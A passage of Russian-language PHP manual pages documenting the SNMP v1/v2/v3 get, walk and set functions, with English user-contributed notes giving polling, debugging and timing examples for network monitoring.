If you are harvesting data you probably want SNMP_VALUE_PLAIN.


Получает объект SNMP

  • « snmp_set_valueretrieval
  • snmp2_getnext »
  • PHP Manual
  • Функции SNMP
  • Получает объект SNMP

snmp2_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

snmp2_get — Получает объект SNMP

Описание

snmp2_get(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

Функция snmp2_get() используется для чтения значения объекта SNMP, указанного в object_id.

Список параметров

hostname

Агент SNMP.

community

Read-сообщество.

object_id

Объект SNMP.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает значение объекта SNMP в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования snmp2_get()

<?php
$syscontact = snmp2_get("127.0.0.1", "public", "system.SysContact.0");
?>

Смотрите также

  • snmp2_set() - Устанавливает значение объекта SNMP

User Contributed Notes

There are no user contributed notes for this page.


Получает объект SNMP, который следует за данным идентификатором объекта

  • « snmp2_get
  • snmp2_real_walk »
  • PHP Manual
  • Функции SNMP
  • Получает объект SNMP, который следует за данным идентификатором объекта

snmp2_getnext

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_getnext — Получает объект SNMP, который следует за данным идентификатором объекта

Описание

snmp2_getnext(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

Функция snmp2_get_next() используется для чтения значения объекта SNMP, который следует за указанным object_id.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

community

Read-сообщество.

object_id

Идентификатор объекта SNMP, который предшествует желаемому.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает значение объекта SNMP в случае успешного выполнения или false в случае возникновения ошибки. В случае возникновения ошибки выводится ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования snmp2_get_next()

<?php
$nameOfSecondInterface = snmp2_get_next('localhost', 'public', 'IF-MIB::ifName.1');
?>

Смотрите также

  • snmp2_get() - Получает объект SNMP
  • snmp2_walk() - Получает все объекты SNMP из агента

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все объекты, включая их идентификатор

  • « snmp2_getnext
  • snmp2_set »
  • PHP Manual
  • Функции SNMP
  • Возвращает все объекты, включая их идентификатор

snmp2_real_walk

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_real_walk — Возвращает все объекты, включая их идентификатор

Описание

snmp2_real_walk(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

Функция snmp2_real_walk() используется для обхода объектов SNMP, начиная с object_id и возвращает не только их значения, но и идентификаторы объектов.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

community

Read-сообщество.

object_id

Идентификатор объекта SNMP, который предшествует желаемому.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает ассоциативный массив идентификаторов объектов SNMP и их значений в случае успешного выполнения или false в случае возникновения ошибки. В случае возникновения ошибки выводит ошибку уровня E_WARNING.

Примеры

Пример #1 Пример использования snmp2_real_walk()

<?php
print_r(snmp2_real_walk("localhost", "public", "IF-MIB::ifName"));
?>

Вышеупомянутый пример выведет что-то вроде:

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

Смотрите также

  • snmp2_walk() - Получает все объекты SNMP из агента

User Contributed Notes

mike dot mackintosh at angrystatic dot com 16-Sep-2011 11:24
Remember that the timeout includes trip time for transport, so setting it too low and sending it across the country will time out and return a 'No response from x.x.x.x'


Устанавливает значение объекта SNMP

  • « snmp2_real_walk
  • snmp2_walk »
  • PHP Manual
  • Функции SNMP
  • Устанавливает значение объекта SNMP

snmp2_set

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_set — Устанавливает значение объекта SNMP

Описание

snmp2_set(
string $hostname,
string $community,
array|string $object_id,
array|string $type,
array|string $value,
int $timeout = -1,
int $retries = -1
): bool

snmp2_set() используется для установки значения объекта SNMP, указанного в object_id.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

community

Write-сообщество.

object_id

Идентификатор объекта SNMP.

type

MIB указывает тип идентификатора каждого объекта. Он должен быть указан в виде одного символа из следующего списка.

types
= Тип, принимаемый MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

Если при компиляции библиотеки SNMP была определена опция OPAQUE_SPECIAL_TYPES, то также могут быть использованы следующие типы:

types
U | unsigned int64
I | signed int64
F | float
D | double

Большинство этих значений используют очевидный тип ASN.1. 's', 'x', 'd' и 'b' — это все разные способы указания значения OCTET STRING, а беззнаковый тип 'u' также используется для обработки значений Gauge32.

Если MIB-файлы были загружены в MIB-дерево с помощью "snmp_read_mib" или были указаны в конфигурационном файле libsnmp, то для указания параметра type можно использовать нотацию '=', т.к. тип всех идентификаторов объектов будет автоматически считан из MIB.

Обратите внимание, что есть два способа установить переменную типа BITS, например, "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • С помощью типа "b" и списка битовых чисел. Не рекомендуется использовать этот метод, т.к. GET-запрос для того же OID вернёт, к примеру, 0xF8.
  • С помощью типа "x" и шестнадцатеричного числа, но без(!) обычного префикса "0x".

Подробнее смотрите в разделе с примерами.

value

Новое значение.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Если хост SNMP отклоняет тип данных, выводится ошибка уровня E_WARNING вроде "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length.". Если указан неизвестный или недопустимый OID, вероятно, выведется предупреждение "Could not add variable".

Примеры

Пример #1 Пример использования snmp2_set()

<?php
snmp2_set("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

Пример #2 Пример использования snmp2_set() для установки BITS идентификатору объекта SNMP

<?php
snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// или
snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

Смотрите также

  • snmp2_get() - Получает объект SNMP

User Contributed Notes

jhuebel at gmail dot com 15-Dec-2010 09:31
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double


Получает все объекты SNMP из агента

  • « snmp2_set
  • snmp3_get »
  • PHP Manual
  • Функции SNMP
  • Получает все объекты SNMP из агента

snmp2_walk

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_walk — Получает все объекты SNMP из агента

Описание

snmp2_walk(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

Функция snmp2_walk() используется для чтения всех значений из агента SNMP, указанного в hostname.

Список параметров

hostname

Агент SNMP (сервер).

community

Read-сообщество.

object_id

Если null, object_id берётся в качестве корня дерева объектов SNMP и все объекты этого дерева возвращаются в виде массива.

Если указан object_id, возвращаются все объекты SNMP ниже этого object_id.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает массив значений объекта SNMP, начиная с object_id в качестве корня или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования snmp2_walk()

<?php
$a = snmp2_walk("127.0.0.1", "public", "");

foreach ($a as $val) {
echo "$val\n";
}

?>

Вызов функции вернёт все объекты SNMP из агента SNMP, работающего на localhost. Можно перемещаться по значениям с помощью цикла.

Смотрите также

  • snmp2_real_walk() - Возвращает все объекты, включая их идентификатор

User Contributed Notes

Ypera123 at gmail dot com 16-Jan-2017 01:21
Honestly not that important but there's a spelling error in Example #1: "Snm2_pwalk"
Best to fix it so it doesn't confuse.
Adam 09-Apr-2012 03:26
After some testing, I have found that SNMPWalk is considerably slower than multiple SNMPGet.

I was aiming to retrieve 6 Objects from a MIB; the device being polled was attached via a 100mbps network link.
I decided to run SNMPGet within a loop to retrieve each Object from the specified OID's.
As these OID's were within the same tree, I then thought about using walk as this would consolidate the data into a single request. I then walked the tree to get the same result.

I subsequently testing the time it took to retrieve this information via microtime().
As a result, you can retrieve 1 walk containing 6 OID's within the same time as requesting 18 OIDs via get.

I hope this helps someone whom is looking to speed up their SNMP requests.


Получает объект SNMP

  • « snmp2_walk
  • snmp3_getnext »
  • PHP Manual
  • Функции SNMP
  • Получает объект SNMP

snmp3_get

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_get — Получает объект SNMP

Описание

snmp3_get(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

Функция snmp3_get() используется для чтения значения объекта SNMP, указанного в object_id.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

security_name

Имя безопасности, обычно какое-то имя пользователя.

security_level

Уровень безопасности (noAuthNoPriv|authNoPriv|authPriv).

auth_protocol

Протокол аутентификации ("MD5", "SHA", "SHA256" или "SHA512").

auth_passphrase

Пароль для аутентификации.

privacy_protocol

Протокол конфиденциальности (DES или AES).

privacy_passphrase

Пароль конфиденциальности.

object_id

Идентификатор объекта SNMP.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает значение объекта SNMP в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр auth_protocol теперь принимает "SHA256" и "SHA512", если поддерживается libnetsnmp.

Примеры

Пример #1 Пример использования snmp3_get()

<?php
$nameOfSecondInterface = snmp3_get('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.2');
?>

Смотрите также

  • snmp3_set() - Устанавливает значение объекта SNMP

User Contributed Notes

There are no user contributed notes for this page.


Получает объект SNMP, который следует за указанным идентификатором объекта

  • « snmp3_get
  • snmp3_real_walk »
  • PHP Manual
  • Функции SNMP
  • Получает объект SNMP, который следует за указанным идентификатором объекта

snmp3_getnext

(PHP 5, PHP 7, PHP 8)

snmp3_getnext — Получает объект SNMP, который следует за указанным идентификатором объекта

Описание

snmp3_getnext(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

Функция snmp3_getnext() используется для чтения значения объекта SNMP, который следует за указанным object_id.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

security_name

Имя безопасности, обычно какое-то имя пользователя.

security_level

Уровень безопасности (noAuthNoPriv|authNoPriv|authPriv).

auth_protocol

Протокол аутентификации ("MD5", "SHA", "SHA256" или "SHA512").

auth_passphrase

Пароль для аутентификации.

privacy_protocol

Протокол конфиденциальности (DES или AES).

privacy_passphrase

Пароль конфиденциальности.

object_id

Идентификатор объекта SNMP.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает значение объекта SNMP в случае успешного выполнения или false в случае возникновения ошибки. В случае ошибки выводит ошибку уровня E_WARNING.

Список изменений

Версия | Описание
8.1.0 | Параметр auth_protocol теперь принимает "SHA256" и "SHA512", если поддерживается libnetsnmp.

Примеры

Пример #1 Пример использования snmp3_getnext()

<?php
$nameOfSecondInterface = snmp3_getnext('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.1');
?>

Смотрите также

  • snmp3_get() - Получает объект SNMP
  • snmp3_walk() - Получает все объекты SNMP из агента

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все объекты, включая их идентификатор в указанном объекте

  • « snmp3_getnext
  • snmp3_set »
  • PHP Manual
  • Функции SNMP
  • Возвращает все объекты, включая их идентификатор в указанном объекте

snmp3_real_walk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_real_walk — Возвращает все объекты, включая их идентификатор в указанном объекте

Описание

snmp3_real_walk(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

Функция snmp3_real_walk() используется для обхода объектов SNMP, начиная с object_id и возвращает не только их значения, но и идентификаторы объектов.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

security_name

Имя безопасности, обычно какое-то имя пользователя.

security_level

Уровень безопасности (noAuthNoPriv|authNoPriv|authPriv).

auth_protocol

Протокол аутентификации ("MD5", "SHA", "SHA256" или "SHA512").

auth_passphrase

Пароль аутентификации.

privacy_protocol

Протокол конфиденциальности (DES or AES).

privacy_passphrase

Пароль конфиденциальности.

object_id

Идентификатор объекта SNMP.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает ассоциативный массив идентификаторов объектов SNMP и их значений в случае успешного выполнения или false в случае возникновения ошибки. В случае ошибки выводит ошибку уровня E_WARNING.

Список изменений

Версия | Описание
8.1.0 | Параметр auth_protocol теперь принимает "SHA256" и "SHA512", если поддерживается libnetsnmp.

Примеры

Пример #1 Пример использования snmp3_real_walk()

<?php
var_export(snmp3_real_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName'));
?>

Пример выше выведет что-то вроде:

array (
  'IF-MIB::ifName.1' => 'STRING: lo',
  'IF-MIB::ifName.2' => 'STRING: eth0',
  'IF-MIB::ifName.3' => 'STRING: eth2',
  'IF-MIB::ifName.4' => 'STRING: sit0',
  'IF-MIB::ifName.5' => 'STRING: sixxs',
)

Смотрите также

  • snmpwalk() - Получает все объекты SNMP из агента

User Contributed Notes

Anonymous 26-Jul-2012 10:14
Use this function for debug snmp-connection.

<?php
error_reporting(8191);
date_default_timezone_set('Europe/Moscow');
ini_set('display_errors',1);

snmp_test_connection('12.34.56.78', 'guest', 'guest')

function snmp_test_connection($ip, $user, $pass){
    $a = array('noAuthNoPriv','authNoPriv','authPriv');
    $b = array('MD5','SHA');
    $c = array('DES','AES');

    $branch    = '.1.3.6.1.2.1.1.3'; // upTime

    foreach($a as $aPriv)
        foreach($b as $bProt)
            foreach($c as $cPrivProt){
                echo 'time = '.date('Y-m-d H:i:s').'<br/>';
                echo '<b>sec_level=</b>'.$aPriv.'<br/><b>auth_protocol=</b>'.$bProt.'<br/><b>priv_protocol=</b>'.$cPrivProt.'<br/>Request = ';
                var_dump(
                    snmp3_real_walk($ip, $user, $aPriv, $bProt, $pass, $cPrivProt, $pass, $branch)
                );
            }
}

?>


Устанавливает значение объекта SNMP

  • « snmp3_real_walk
  • snmp3_walk »
  • PHP Manual
  • Функции SNMP
  • Устанавливает значение объекта SNMP

snmp3_set

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_set — Устанавливает значение объекта SNMP

Описание

snmp3_set(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
array|string $type,
array|string $value,
int $timeout = -1,
int $retries = -1
): bool

Функция snmp3_set() используется для установки значения объекта SNMP, указанного в object_id.

Даже если уровень безопасности не использует протокол авторизации или пароль, необходимо указать корректные значения.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

security_name

Имя безопасности, обычно какое-то имя пользователя.

security_level

Уровень безопасности (noAuthNoPriv|authNoPriv|authPriv).

auth_protocol

Протокол аутентификации (MD5 или SHA).

auth_passphrase

Пароль для аутентификации.

privacy_protocol

Протокол конфиденциальности (DES или AES).

privacy_passphrase

Пароль конфиденциальности.

object_id

Идентификатор объекта SNMP.

type

MIB указывает тип идентификатора каждого объекта. Он должен быть указан в виде одного символа из следующего списка.

types
= Тип, принимаемый MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

Если при компиляции библиотеки SNMP была определена опция OPAQUE_SPECIAL_TYPES, то также могут быть использованы следующие типы:

types
U | unsigned int64
I | signed int64
F | float
D | double

Большинство этих значений используют очевидный тип ASN.1. 's', 'x', 'd' и 'b' — это все разные способы указания значения OCTET STRING, а беззнаковый тип 'u' также используется для обработки значений Gauge32.

Если MIB-файлы были загружены в MIB-дерево с помощью "snmp_read_mib" или были указаны в конфигурационном файле libsnmp, то для указания параметра type можно использовать нотацию '=', т.к. тип всех идентификаторов объектов будет автоматически считан из MIB.

Обратите внимание, что есть два способа установить переменную типа BITS, например, "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • С помощью типа "b" и списка битовых чисел. Не рекомендуется использовать этот метод, т.к. GET-запрос для того же OID вернёт, к примеру, 0xF8.
  • С помощью типа "x" и шестнадцатеричного числа, но без(!) обычного префикса "0x".

Подробнее смотрите в разделе с примерами.

value

Новое значение.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Если хост SNMP отклоняет тип данных, выводится ошибка уровня E_WARNING вроде "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length.". Если указан неизвестный или недопустимый OID, вероятно, выведется предупреждение "Could not add variable".

Примеры

Пример #1 Пример использования snmp3_set()

<?php
snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifAlias.3', 's', "foo");
?>

Пример #2 Пример использования snmp3_set() для установки BITS идентификатору объекта SNMP

<?php
snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// или
snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'x', 'F0');
?>

User Contributed Notes

There are no user contributed notes for this page.


Получает все объекты SNMP из агента

  • « snmp3_set
  • snmpget »
  • PHP Manual
  • Функции SNMP
  • Получает все объекты SNMP из агента

snmp3_walk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_walk — Получает все объекты SNMP из агента

Описание

snmp3_walk(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

Функция snmp3_walk() используется для чтения всех значений из агента SNMP, указанного в hostname.

Даже если уровень безопасности не использует протокол авторизации или пароль, необходимо указать корректные значения.

Список параметров

hostname

Имя хоста агента (сервера) SNMP.

security_name

Имя безопасности, обычно какое-то имя пользователя.

security_level

Уровень безопасности (noAuthNoPriv|authNoPriv|authPriv).

auth_protocol

Протокол аутентификации ("MD5", "SHA", "SHA256" или "SHA512").

auth_passphrase

Пароль для аутентификации.

privacy_protocol

Протокол конфиденциальности (DES или AES).

privacy_passphrase

Пароль конфиденциальности.

object_id

Если null, object_id берётся в качестве корня дерева объектов SNMP и все объекты этого дерева возвращаются в виде массива.

Если указан object_id, возвращаются все объекты SNMP ниже этого object_id.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает массив значений объекта SNMP, начиная с object_id в качестве корня или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр auth_protocol теперь принимает "SHA256" и "SHA512", если поддерживается libnetsnmp.

Примеры

Пример #1 Пример использования snmp3_walk()

<?php
$ret = snmp3_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName');
var_export($ret);
?>

Вызов функции вернёт все объекты SNMP из агента SNMP, запущенного на localhost:

array (
  0 => 'STRING: lo',
  1 => 'STRING: eth0',
  2 => 'STRING: eth2',
  3 => 'STRING: sit0',
  4 => 'STRING: sixxs',
)

Смотрите также

  • snmp3_real_walk() - Возвращает все объекты, включая их идентификатор в указанном объекте

User Contributed Notes

There are no user contributed notes for this page.


Получает объект SNMP

  • « snmp3_walk
  • snmpgetnext »
  • PHP Manual
  • Функции SNMP
  • Получает объект SNMP

snmpget

(PHP 4, PHP 5, PHP 7, PHP 8)

snmpget — Получает объект SNMP

Описание

snmpget(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

Функция snmpget() используется для чтения значения объекта SNMP, указанного в object_id.

Список параметров

hostname

Агент SNMP.

community

Read-сообщество.

object_id

Объект SNMP.

timeout

Время ожидания в микросекундах.

retries

Количество повторных попыток при истечении времени ожидания.

Возвращаемые значения

Возвращает значение объекта SNMP в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования snmpget()

<?php
$syscontact = snmpget("127.0.0.1", "public", "system.SysContact.0");
?>

Смотрите также

  • snmpset() - Устанавливает значение объекта SNMP

User Contributed Notes

maxie_ro at do dot not dot spam dot yahoo dot com 25-Jun-2009 06:23
This function can be used to identify devices on a network, by getting their sysObjectID and sysDescr. On short, this is what I did:
<?php
   $sysid = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.2.0', 300);
   if($sysid) {
      $sysdescr = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.1.0', 300);
   }
?>

What I get for equipments, for example:
<?php
   $sysid = 'OID: .iso.3.6.1.4.1.5003.8.1.1.57';// => AudioCodes MP114;
   //.iso.3.6.1.4.1. is a "prefix" for the OID domain
   //5003 is the IANA number for AudioCodes
   //8.1.1.57 identifies the equipment type (MP-114)
   $sysdescr = '"Product: MP-114 FXS;SW Version: 5.00A.024"';
?>
Unfortunately, not all of them report correct objectID, for example they report only the vendor and stop there etc.

In case you are wondering why I used the code '.1.3.6.1.2.1.1.2.0' in the function call instead of "sysObjectID.0", it's because only numeric codes seem to work on Windows. For more codes, google "cisco SNMP Object Navigator".
Have fun.
d dot shereck at gmail dot com 19-Nov-2008 03:24
For those wishing to use v2 or 3

you can consult the php_snmp.h header
here is the list of functions

PHP_FUNCTION(snmpget);
PHP_FUNCTION(snmpgetnext);
PHP_FUNCTION(snmpwalk);
PHP_FUNCTION(snmprealwalk);
PHP_FUNCTION(snmp_get_quick_print);
PHP_FUNCTION(snmp_set_quick_print);
PHP_FUNCTION(snmp_set_enum_print);
PHP_FUNCTION(snmp_set_oid_output_format);
PHP_FUNCTION(snmpset);

PHP_FUNCTION(snmp2_get);
PHP_FUNCTION(snmp2_getnext);
PHP_FUNCTION(snmp2_walk);
PHP_FUNCTION(snmp2_real_walk);
PHP_FUNCTION(snmp2_set);

PHP_FUNCTION(snmp3_get);
PHP_FUNCTION(snmp3_getnext);
PHP_FUNCTION(snmp3_walk);
PHP_FUNCTION(snmp3_real_walk);
PHP_FUNCTION(snmp3_set);

PHP_FUNCTION(snmp_set_valueretrieval);
PHP_FUNCTION(snmp_get_valueretrieval);
ac221 at sussex dot ac dot uk 24-Nov-2007 01:49
Some SNMP agents return mac addresses as hex encoded ascii.

e.g. '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65'

Each octet represents 4 bits of the mac address.
Some vendors may also encode the separators into the string.

Heres a function to convert these strings back into plain hex.

<?php
$hexStr = '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65';

echo(str_replace(':','',hexStr2Ascii($hexStr)));

function hexStr2Ascii($hexStr,$separator = ':'){
    $hexStrArr = explode($separator,$hexStr);
    $asciiOut = null;
    foreach($hexStrArr as $octet){
        $asciiOut .= chr(hexdec($octet));
    }
    return $asciiOut;
}
?>

Outputs: '0017f29b460e'
brunoseys at telenet dot be 02-Oct-2007 04:22
According the SNMPv2-MIB DEFINITIONS the right syntax should be "system.sysContact.0" and NOT "system.SysContact.0" as used in the above example 2251.

SNMPv2-MIB DEFINITIONS
...
sysContact OBJECT-TYPE
SYNTAX DisplayString (SIZE (0..255))
MAX-ACCESS read-write
STATUS current
DESCRIPTION
"The textual identification of the contact person for this
managed node, together with information on how to contact
this person. If no contact information is known, the
value
is the zero-length string."
::= { system 4 }
Malaka Udawatta (malaka13 at gmail dot com) 19-Sep-2007 05:17
When I try to get a 64 bit counter variable (e.g. ifHCInOctets) using snmpget function, following error message was appeared.

Error in packet: (noSuchName) There is no such variable name in this MIB

The solution for this is to use snmp2_get(); function. The prameters are same as snmpget();
Eduardo 12-Apr-2007 12:30
The online documentation says that the function returns "FALSE" on error but, actually, it returns NULL on error.
tridman 21-Nov-2006 02:48
The timeout is in micro seconds. Thus 1.000.000 means 1 Second.
michael dot mauch at gmx dot de 10-Nov-2006 09:07
I have no idea what the timeout value is, but 1 second is really really 1 000 000 000 nano seconds (cf. http://en.wikipedia.org/wiki/SI_prefix).
fbleau 11-Jul-2006 11:15
The default value of Timeout is 1000000  nanoseconde (1 sec) and the retrie is 5 thsi value is set by Net-SNMP library.

#!/usr/local/bin/php
<?php
 $time_start = microtime(true);
 $reponse = snmpget('10.5.1.1', 'public', "1.3.6.1.2.1.1.3.0",1000000,5);
 $time_end = microtime(true);
 $time = $time_end - $time_start;

 echo "Delay in $time secondes\n";
?>
Jim 14-May-2006 07:52
Unfortunately, It appears that you can not put multiple objects into the snmpget function, ie: sysUpTime.0 ifInOctets.1 ifOutOctets.1.  For what it's worth, the time argument is in nano-seconds as previously mentioned.  There is a lot of conflicting information out there about this.
dstjohn-NO-SPAM at mediacast1 dot com 11-Sep-2005 02:16
2 year tidbit update :)

<?php
// author: dstjohn at mediacast1.com
// updated: 09-11-2005
// set some vars
$snmpcommunity = 'PUBLIC'; //snmp community name
$ips = 'test1.com,test2.com'; //ips or dns to get snmp data from
$system_number = '1';
//end da vars

//start da loop d loop
for ($i = 0; $i <= $system_number; $i++) {
$sysip = explode(",",$ips);

//get system name
$sysname[0] = snmpget($sysip[$i], $snmpcommunity, "sysName.0");
$sysname[1] = eregi_replace("STRING:","",$sysname[0]);
echo 'System Name: '.$sysname[1].'<br>';

//system description
$sysdesc[0] = snmpget($sysip[$i], $snmpcommunity, "sysDescr.0");
$sysdesc[1] = eregi_replace("STRING:","",$sysdesc[0]);
echo 'System Description: '.$sysdesc[1].'<br>';

//system location
$sysloc[0] = snmpget($sysip[$i], $snmpcommunity, "sysLocation.0");
$sysloc[1] = eregi_replace("STRING:","",$sysloc[0]);
echo 'System Location: '.$sysloc[1].'<br>';

//current tcp connections
$tcpcons[0] = snmpget($sysip[$i], $snmpcommunity, "tcpCurrEstab.0");
$tcpcons[1] = eregi_replace("Gauge32:","",$tcpcons[0]);
echo 'Open TCP/IP Connections: '.$tcpcons[1].'<br>';

//get system uptime
$sysuptime[0] = snmpget($sysip[$i], $snmpcommunity, "system.sysUpTime.0");
$sysuptime[1] = eregi_replace("Timeticks:","",$sysuptime[0]);
echo 'System Uptime: Timeticks -'.$sysuptime[1].'<br>';

//windows only
//installed memory
if(eregi('Windows',$sysdesc[1])){
$mem[0] = snmpget($sysip[$i], $snmpcommunity, "HOST-RESOURCES-MIB::hrMemorySize.0");
$mem[1] = eregi_replace("INTEGER:","",$mem[0]);
$mem[2] = eregi_replace("KBytes","",$mem[1]);
echo 'Insalled Memory: '.$mem[2].' KiloBytes<br>';
}

echo '<br><br>';
}//end loop

?>
Johann Glaser 22-Feb-2004 12:39
It seems that for each snmpget() its own socket() will be opened. This is not closed after snmpget() finishes. Neither existing sockets are reused by subsequent snmpget() calls.

When querying a few switches with lots of ports the maximum file descriptor count of Apache is exhausted. Thus no more snmpget() are possible. Additionaly no more files can be read by this particular Apache process. Neither the PHP file, any include files nor any other files (like a .css file, ...).

This probably explains the observation of tkjode at phalnet dot com. Different to his case is that I'm using Linux.
dstjohn-NO-SPAM at mediacast1 dot com 22-Sep-2003 07:53
Little tidbit for snmpget function

<?php
//snmpget system stats
$host = 'localhost';
$community = 'public';

//get system name
$sysname = snmpget($host, $community, "system.sysName.0");

//get system uptime
$sysup = snmpget($host, $community, "system.sysUpTime.0");
$sysupre = eregi_replace("([0-9]{3})","",$sysup);
$sysupre2 = eregi_replace("Timeticks:","",$sysupre);
$sysupre3 = eregi_replace("[()]","",$sysupre2);

//get tcp connections
$tcpcon = snmpget($host, $community,"tcp.tcpCurrEstab.0");
$tcpconre = eregi_replace("Gauge32:","",$tcpcon);

echo '
System Name: '.$sysname.'<br>
System Uptime: '.$sysupre3.'<br>
Current Tcp Connections: '.$tcpconre.'<br>';

?>
javierb at gmx dot net 04-Jun-2003 08:08
pooling a cisco.

$ip = '1.1.1.1';
$community ='publico';
$a = snmpget($ip,$community, "IF-MIB::ifLastChange.1")
$b = snmpget($ip,$community, "IF-MIB::ifAlias.1");
print("a = ".$a."\n"."b = ".$b."\n");

a = Timeticks: (929969969) 107 days, 15:14:59.69
b = Timeticks: (929969969) 107 days, 15:14:59.69

when the interface has not description.
tkjode at phalnet dot com 12-Feb-2002 11:49
It has been observed on NT/2000 systems that flooding devices with SNMP requests will cause NT's SNMP service to stop working.

For example, I polled 183 switches on our network just fine.  I then attempted to simulate heavy traffic to that page by refreshing and breaking connections (as any real world system would have to go through).  SNMP stopped working throughout the entire machine, including non-PHP/Webserver processes.
grice at berbee dot com 24-Aug-2000 04:05
It looks like you can use a non-standard port for SNMP
with something like this:

